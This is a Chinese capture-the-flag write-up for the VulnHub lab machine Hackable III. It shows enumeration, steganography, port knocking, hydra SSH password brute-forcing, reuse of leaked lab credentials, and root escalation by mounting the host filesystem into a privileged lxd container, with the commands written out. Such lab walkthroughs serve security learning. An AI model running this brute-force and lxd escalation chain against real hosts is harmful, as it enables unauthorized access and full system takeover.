hackable-3打靶

环境

vulnhub项目 https://www.vulnhub.com/entry/hackable-iii,720/
靶机:172.16.17.156
攻击机kali:172.16.17.140

信息收集

nmap扫描靶机,22端口filtered,80正常开发,apache

访问首页看看

没有功能点,扫下目录

挨个访问,有两个txt文件


一个字典

一串密文,base64解出为10000,暂时不知道什么意思,继续往下

在网页源码里看到了注释,得到提示,还有一个登录口

1
2
3
4
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, 
and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->

<!-- “jubiscleudo,请不要忘记在退出部门时激活端口敲门,并告诉老板不要忘记批准.jpg文件-dev_suport@hackable3.com" -->

得到一个用户名和一个邮箱,结合上面的端口扫描,应该是提示需要碰撞打开22端口

访问登录口

尝试利用上面的字典爆破,无果

在登录页的源码里翻到一个地址

进一步扫描目录,.php结尾的文件

挨个访问,爆出了源码和数据库密码,但是数据库端口并不对外开放

login.php中提到一个3.jpg,直接访问看看

没有任何提示和利用的地方,想到隐写,把图片下载下来 进行爆破

1
2
wget http://172.16.17.156/3.jpg ./
steghide --extract -sf 3.jpg

得到提示,porta:65535,前面得到一个10000,应该是knock使用碰撞ssh端口,但是还差一个,继续翻前面爆破出的目录

翻到一个2.txt

熟悉的ctf加密方式

解密 http://www.hiencode.com/brain.html

得到三个端口号 65535 10000 4444

Exploit

碰撞ssh打开端口

1
knock 172.16.17.156 -v 10000 4444 65535


爆破ssh

使用上面拿到的用户名和字典,爆破ssh

1
hydra -l jubiscleudo -P wordlist.txt 172.16.17.156 ssh 

登录账号,找到第一个flag

提权

没有sudo权限的文件,在网站目录下翻到一个隐藏文件,提示我们mysql root用户没有密码

尝试登录mysql发现根本没有这个服务

回到上面的隐藏文件,发现给出一个账号密码,在家目录翻的时候,恰好有一个hackable_3用户的文件夹

1
2
define('DB_USERNAME', 'hackable_3');
define('DB_PASSWORD', 'TrOLLED_3');

登录成功,但是没有任何可利用的地方

查阅其他师傅的文章,发现在lxd组中,lxd和docker一样,一种容器

利用lxd容器提权,思路是将容器的目录映射到root目录下

提权方法 使用第二种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

在/mnt/root/root下拿到flag